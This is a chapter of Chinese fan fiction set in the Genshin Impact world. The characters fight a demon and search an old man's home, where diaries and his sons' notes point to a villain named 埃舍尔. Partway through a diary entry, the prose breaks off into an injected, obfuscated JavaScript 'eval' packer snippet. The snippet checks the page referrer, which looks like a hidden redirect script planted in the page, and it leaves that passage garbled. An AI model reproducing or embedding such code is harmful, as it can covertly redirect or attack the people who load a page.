这一次的恶鬼生前武艺强大,因此战斗起来格外棘手。 光缡在被牵引的失重感中慌忙关闭了系统,站稳后,十分自觉地主动撤离了正面战场。 “我的武器全掉落了。”她解释道,声音中像是带着几分委屈和生无可恋。 “那就找个地方藏好!” 散兵一边在刀光剑影中腾挪,一边头也不回地将叮嘱劈头盖脸地砸下来,“别再随随便便就死掉!” 因为退得太远,光缡只能扯着嗓子喊回去。 她一路退到了怪物仇恨渲染范围的极限距离,将“保命”贯彻到底。 开玩笑,掉落的物品在这个周目还能捡回来,但要是现在死了,再次读档的话,那些极品武器可就真的被系统永久刷新没了! 稀有道具还得重新去大世界满地图跑着收集,又要来一遍! 恶鬼没有花费多少功夫就打趴在地,重新恢复成了人类的模样。 任务完成的播报也很及时地亮了出来,光缡愉快地将老人收入背包。 散兵对这位踏鞴砂居民,归属御舆光缡没有什么意见。 毕竟,这位老人是洗清御舆光缡杀人嫌疑最直接的铁证。 而老人自己也确实沾染了鲜血,面对这份罪责,他本就无从逃脱。 “那么接下来……” 就是对老人家中情况的探索了。 老人家中十分清贫,虽然院落里因为刚才的战斗和老人的发狂而一片狼藉 ,但推开那扇摇摇欲坠的木门,屋内却透着一股被精心打理过的、属于“家”的温馨气息。 光缡翻找着发光的【调查】点,散兵和空则分头查看屋内的陈设。 这里处处都留着父子三人共同生活的细碎痕迹。 门框上刻着两排深浅不一的刻度线,旁边写着两个儿子的名字。 从最下方刚刚及膝的高度,一路攀升,直到超越了代表着“父亲”的那条横线。 墙角摆着三把木制练习剑,其中两把木剑边缘早已被磨得圆润光滑,剑柄处缠绕的布条也因为常年握持而浸透了汗渍,正如之前兵士所说,那两个年轻人的剑法,都是这位老父亲手把手教出来的 。 粗糙的木桌上,整齐地倒扣着三个缺了口的粗陶碗,旁边还放着几碟用碟子细心盖好的饭菜。 那是老人为迟迟未归的儿子们留的晚饭。 “这里有个暗格。”散兵在床铺下的木板中摸索到了什么。 他抽出一个沉甸甸的木匣,打开一看,里面是厚厚一沓信件,一些泛黄的纸条,以及几张残页。 三人快速翻阅起这些记录了一个普通人一生的文字。 前期的日记字迹遒劲张狂,记录着一段与现在这副落魄模样截然不同的过去: “深渊的灾祸来得太突然,海面被黑色的风暴撕裂,我不慎从船上掉进了海中。醒来时,我被冲到了踏鞴砂的海滩,和海贼同伴们彻底失散了。” “今天在山崖边斩杀了几只被深渊气息感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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日记到这里,字迹突然被重重划破,墨水晕染开来,仿佛写字的人在极度颤抖: “我看到了……我不该去的!我不该好奇去偷看那间封闭的工坊!封闭的炉心周围……他在用活人做实验!那些人变成了怪物!他戴着面具……他发现我了!他在看着我笑!” 这篇日记之后,老人的笔迹彻底癫狂,剩下的只有重复的“怪物”、“毒药”和“救救我的孩子”。 而在木匣的最底层,静静地躺着两张字迹工整的纸条,那是两个儿子留给父亲的: “父亲最近病得很重,总是胡言乱语说什么怪物和面具人。我们知道他只是因为被辞退太伤心,加上常年在炉心沾染了祟神气息。没关系的,我们听说西边来了一位很灵验的须弥医生,我们会把新药带回来的。” “父亲,无论您变成什么样,您都是我们的父亲。这份养育之恩,儿子们永远不会放弃您。” “埃舍尔……”散兵咬牙切齿地念出这个名字,纸张在他手中捏紧。 “那么,接下来就还是要调查御影炉心吧。” 光缡分析着,一边翻找着任务栏,选择追踪主线。 【当前目标角色已被其他任务占用,无法推进该剧情。】 【角色 [埃舍尔] 正处于「清籁岛」相关任务中。】 “欸,埃舍尔?这个角色跑去清赖岛干什么?” 光缡满头问号,他不是个枫丹来的技术人员吗。 按理说,这种NPC的经典台词不应该是,‘御影炉心是我最完美的杰作,在你们彻底掌握它之前,我都会留下来亲自监督’之类的吗?